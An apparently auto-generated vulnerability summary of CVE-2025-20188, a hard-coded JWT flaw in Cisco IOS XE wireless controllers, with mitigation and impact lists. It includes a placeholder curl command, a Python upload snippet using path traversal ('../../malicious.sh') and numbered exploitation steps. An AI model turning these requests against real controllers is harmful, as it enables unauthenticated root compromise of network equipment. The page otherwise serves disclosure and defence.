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How CVE-2025-20188 Works
The vulnerability exists in Cisco IOS XE Software for Wireless LAN Controllers due to a hard-coded JSON Web Token (JWT) used in the Out-of-Band Access Point (AP) Image Download, Clean Air Spectral Recording, and client debug bundles features. An attacker can craft malicious HTTPS requests to the AP file upload interface without authentication. By exploiting the static JWT, the attacker bypasses authentication checks, enabling arbitrary file uploads with path traversal capabilities. Successful exploitation grants root privileges through command injection in the file upload process, allowing complete system compromise.
DailyCVE Form
Platform: Cisco IOS XE
Version: Wireless LAN Controllers
Vulnerability: Arbitrary file upload
Severity: Critical
Date: 06/23/2025
Prediction: Patch by 08/15/2025
What Undercode Say
curl -X POST -H "Authorization: Bearer HARDCODED_JWT" https://target/upload --data @malicious.tar
import requests
headers = {'Authorization': 'Bearer HARDCODED_JWT'}
files = {'file': ('../../malicious.sh', open('malicious.sh','rb'))}
requests.post('https://target/upload', headers=headers, files=files)
How Exploit
1. Identify vulnerable WLC systems
2. Craft malicious file with path traversal
3. Send authenticated request using hardcoded JWT
4. Execute uploaded payload
Protection from this CVE
1. Apply Cisco patch
2. Disable unused features
3. Network segmentation
Impact
1. Root compromise
2. Data exfiltration
3. Network persistence
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
